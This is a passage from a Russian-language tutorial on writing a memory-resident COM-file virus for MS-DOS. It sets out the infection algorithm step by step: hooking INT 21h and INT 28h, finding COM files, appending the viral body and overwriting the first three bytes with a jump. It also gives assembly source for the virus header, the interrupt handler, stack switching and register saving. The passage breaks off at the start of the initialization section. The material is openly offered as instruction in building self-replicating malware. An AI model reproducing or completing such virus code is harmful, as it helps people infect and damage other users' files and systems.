Вирусы

    которая всегда выполняется   при запуске  программы

    первой .

    После перехвата прерываний, которые должна обраба-

    тывать резидентная часть, секция инициализации за-

    вершает программу, используя  для этой цели  преры-

    вание или функцию  резидентного завершения MS DOS .

    В результате резидентная  часть остается в памяти и

    активизируется в случаях,  предусмотренных  автором

    программы . Часть инициализации в процессе  работы

    больше не потребуется,поэтому  оставлять ее в памя-

    ти  бессмысленно,  и  она " затирается "  MS DOS  в

    случае необходимости  .

 

 

             2.3 Алгоритм работы резидентного

                        COM - вируса

 

    Рассмотрим один из  возможных алгоритмов работы  ре-

    зидентного COM - вируса .

    По своей сути резидентный  вирус отличается от обы-

    чной резидентной программы  только тем, что он раз-

    множается сам по себе, независимо от желания поль-

    зователя.Значит,построить  его можно по той же схе-

    ме, по которой пишутся  обычные TSR - программы .Но

    сначала выясним,что  должны делать секция инициали-

    зации вируса и его  резидентная часть .

    Итак :

    Секция инициализации  выполняет следующие действия:

 

    1. Получает управление  при запуске зараженной про-

    граммы .

 

    2. Проверяет, установлена  ли в память  резидентная

    часть вируса .

 

    3. Восстанавливает в   памяти компьютера   исходные

    три  байта этой  программы .

 

    4. Если резидентная часть  не установлена,выполняю-

    тся следующие действия :

 

       a.) Отыскивается  свободный блок памяти достато-

           чного  для размещения вируса размера  .

 

       б.) Код вируса  копируется в найденный блок  па-

           мяти .

 

       в.) В таблице   векторов прерываний соответству-

           ющие  вектора заменяются точками входа  в ви-

           русные  обработчики .

 

       г.) Выполняется   переход  на начало  зараженной

           программы  ( на адрес CS : 100h ).После это-

           го  программа выполняется, как обычно .

 

    В том случае,  если  резидентная часть  вируса  уже

    находится в памяти, он  просто передает  управление

    зараженной программе  .

 

    Резидентная часть выполняет  следующие действия :

 

    1. Анализирует все вызовы  системного  прерывания

    INT 21h с целью выявить  переход оператора в  новый

    каталог или смену  текущего диска .

 

    2. Если обнаружится смена  текущего диска или ката-

    лога, резидентная часть  должна :

 

       а.) Сохранить исходное состояние вычислительной

           системы  .

 

       б.) Найти на  диске подходящий COM - файл .

 

       в.) Записать тело  вируса в конец этого файла  .

 

       г.) Заменить  первые  три байта  заражаемой про-

           граммы  командой  перехода на  вирусный код,

           сохранив  предварительно исходные  три  байта

           в  своей области данных.

 

       д.) Восстановить  исходное состояние  вычислите-

           льной  системы и передать ей управление .

 

    Если оператор не будет  менять текущий католог  или

    диск, вирус, очевидно, ничего  заразить не сможет .

 

    Как вы уже заметили, заражением файлов  занимается

    исключительно резидентная  часть ! Секция инициали-

    зации нужна  только  для инсталляции  вируса в   па-

    мять .Кроме того, в отличие от обычной резидентной

    программы, в вирусе  эта секция записывается в  па-

    мять вместе с  резидентной   частью . Иначе при за-

    писи  ее в заражаемый  файл возникли  бы  серьезные

    трудности .

    Из рассказанного в  этом пункте легко  сделать  вы-

    вод о том, насколько  резидентный вирус должен быть

    устроен сложнее обычного .Вместе с тем,  в его на-

    писании  нет ничего  магического, и  вы без   труда

    разберетесь в следующей  программе .

 

 

                  2.4 Заголовок вируса

 

    Для разработки вируса  мы, как и раньше, будем  ис-

    пользовать COM формат .

    Естественно,в резидентном  вирусе будут использова-

    ны  некоторые блоки,  созданные  нами в  предыдущей

    главе .Поэтому на  их работе мы останавливаться   не

    будем, а вместо этого  сделаем акцент на новых при-

    емах, реализованных в  программе .

    Итак, начнем :

 

    prg segment

       assume cs:prg,ds:prg,es:prg,ss:prg

          org 100h

 

    start:     jmp vir                ;Передача управ-

                                      ;ления вирусному

                                      ;коду ...

       org 110h

 

    Приведенные  команды  и директивы выполняют  те  же

    самые функции,  что  и аналогичные,  использованные

    нами при создании  нерезидентной вирусной  програм-

    мы .

 

 

                 2.5 Вирус начинает работу

 

    Несколько  забегая  вперед, отметим, что наш  вирус

    будет работать так  :

 

       1. Обработчик  прерывания  Int 21h  отслеживает

          смену  оператором текущего каталога или  дис-

          ка. Если  пользователь действительно   сменил

          диск  или каталог,то переменная TG_INFECT ус-

          танавливается  в единицу.

       2. Обработчик  прерывания Int 28h вызывается DOS

          всякий  раз, когда можно, не боясь зависаний,

          обращаться  к системным  функциям, работающим

          с файлами.  Поэтому естественно возложить   на

          него  задачу поиска и заражения  файлов.Исходя

          из этого  процедура обработки Int 28h  прове-

          ряет  значение  TG_INFECT, и если оно равно

          единице,  выполняет поиск и заражение  файлов.

 

    --------------------------------------------------

 

    После  перехода на  метку " vir " начинается испол-

    нение вирусной программы  .Поэтому продолжим :

    ( Собственно это и есть начало обработчика  преры-

    вания  Int 28h )

 

    vir:       db 0ebh                ;90h - Для рези-

               db push_len            ;90h   дентной

                                      ;      работы .

 

               pushf                  ;Запишем флаги

                                      ;в стек ...

               cmp cs:tg_infect-110h,1;Активизиро-

                                      ;ваться ?

               je cs:vir_2            ;Да ...

               call dword ptr cs:old_28h - 110h

                                      ;Нет - вызовем

                                      ;старый обработ-

                                      ;чик INT 28h,

                                      ;чтобы не топить

                                      ;другие TSR ...

               iret

 

    vir_2:     popf                   ;Переключаем

                                      ;стек для TSR -

                                      ;исполнения на

               mov cs:ss_save-110h,ss ;себя ...

               mov cs:sp_save-110h,sp

               mov cs:help_word - 110h,cs

               mov ss,cs:help_word - 110h

               mov sp,to_newstack + 136

               mov cs:tg_infect - 110h,0

               pushf                  ;Вызываем старый

               db 9ah                 ;обработчик

    old_28h    dw 0                   ;INT 28h ...

    old_28h_2  dw 0

 

    Обратите внимание на  команду,записанную в машинном

    коде сразу за меткой " vir " .Сейчас мы  попробуем

    разобраться, зачем  она потребовалась .

    Как вы знаете, наш  вирус должен быть резидентным  и

    состоять из двух частей .При этом секция инициали-

    зации исполняется только  в транзитном ( нерезиден-

    тном ) режиме,а резидентная  часть - только в рези-

    дентном.

 

    Команда

               db 0ebh                ;90h - Для рези-

               db push_len            ;90h   дентной

                                      ;      работы .

 

    играет  роль " переключателя  " между транзитным  и

    резидентным кодами .При  заражении вирус записывает

    в файл команду перехода, которая при запуске зара-

    женного  файла передает  управление на " push_len "

    байт вперед,  где как  раз и начинается секция ини-

    циализации .Если же попытаться  выполнить эту кома-

    нду  в резидентном режиме,  т. е. когда код вируса

    получил управление, находясь  в памяти,это приведет

    к зависанию компьютера .Чтобы такого не происходи-

    ло,  секция инициализации  при установке  вирусного

    кода  в память записывает  сразу за  меткой " vir "

    две   команды " NOP ",  или код  : 9090h .

    Все  приведенные далее команды относятся  к резиден-

    тной  части .После записи флагов  в стек вирус  про-

    веряет  состояние переменной " tg_infect ", и  если

    она  равна " 1 ", переходит к метке " vir_2 " .Если

    же " tg_infect " равна " 0 ",то вирус  просто вызы-

    вает  старый обработчик INT 28h и отдает  управление

    прерванному  процессу.Чуть позже мы рассмотрим, как

    формируется  значение переменной " tg_infect "  .

    Поскольку  приводимый обработчик  активно  работает

    со  стеком,есть смысл предусмотреть  в нем собствен-

    ный  стек . Поэтому сразу за меткой " vir_2 " запи-

    шем  команды, переключающие стек на  специальную об-

    ласть  данных вируса " newstack "  :

 

                                      ;Переключаем

                                      ;стек для TSR -

                                      ;исполнения на

               mov cs:ss_save-110h,ss ;себя ...

               mov cs:sp_save-110h,sp

               mov cs:help_word - 110h,cs

               mov ss,cs:help_word - 110h

               mov sp,to_newstack + 136

               mov cs:tg_infect - 110h,0

 

    Последней запишем команду,  сбрасывающую  " tg_in-

    fect " в ноль .Этим мы  защитим вирусный код от по-

    вторного вхождения .

    Теперь необходимо вызвать   старый  обработчик  INT

    28h, иначе  наш вирус будет " топить " другие рези-

    дентные  программы, которые  перехватывают   это  же

    прерывание .Поэтому запишем :

 

               pushf                 ;Вызываем старый

               db 9ah                 ;обработчик

    old_28h    dw 0                   ;INT 28h ...

    old_28h_2  dw 0

 

    Обработчик  здесь вызывается как дальняя  процедура.

    Команда  " CALL " записана в виде  машинного  кода,

    а поля " old_28h " и " old_28h_2 " заполняются се-

    кцией  инициализации при установке  вируса в память.

 

    *

     Обратите  внимание на команды переключения  стека .

     Они  необычны тем,что от адреса  ячеек памяти " ss_

     save "," sp_save ", " tg_infect " и " help_word "

     отнимается число 110h . Дело в том, что при  ком-

     пиляции  исходного текста  COM - программы   адреса

     ячеек  памяти вычисляются исходя из  того,  что  DS

     указывает  на начало ее PSP .Кроме  того,  в самом

     начале  вируса мы записали директиву " org 110h ".

     Но  ведь к вышеуказанным ячейкам  памяти вирус  об-

     ращается  в резидентном режиме, да еще  и относите-

     льно CS .А CS указывает строго на начало  обработ-

     чика, а не на начало PSP, как это было при компи-

     ляции ! Поэтому относительный  адрес ячеек необхо-

     димо уменьшить на 110h,  что мы и  сделали  . Этот

     прием  будет использован еще несколько  раз при по-

     строении  вирусных обработчиков прерываний,поэтому

     полезно  будет понять, на чем он основан .

 

 

             2.6 Сохраняем регистры процессора

 

    В самом  начале работы резидентная программа  обяза-

    на  сохранить значения регистров  процессора,  кото-

    рые  были переданы ей прерванной  программой,  а при

    завершении  работы - восстановить эти значения .Ес-

    ли  этого не сделать,прерванная программа  просто не

    сможет  нормально выполняться дальше,что  приведет к

    сбою  вычислительного процесса . Поэтому  сейчас  мы

    сохраним  все регистры, используемые вирусом,в  сте-

    ке :

 

               pushf                  ;Сохраним в сте-

               push ax                ;ке регистры ...

               push bx

               push cx

               push dx

               push si

               push di

               push bp

               push ds

               push es

               jmp cs:infect          ;Перейти к зара-

                                      ;жению файлов

 

    Заметим,  что значения регистров записываются  уже в

    область  " newstack ", а не в стек прерванной  прог-

    раммы  .Значения SS и SP сохраняются в  переменных :

    " ss_save " и " sp_save ", и поэтому в  стек не за-

    носятся  .Команда " jmp cs:infect " также относится

    к резидентной  секции и передает управление "зараз-

    ной"  части вирусного кода .

 

 

             2.7 Создаем секцию инициализации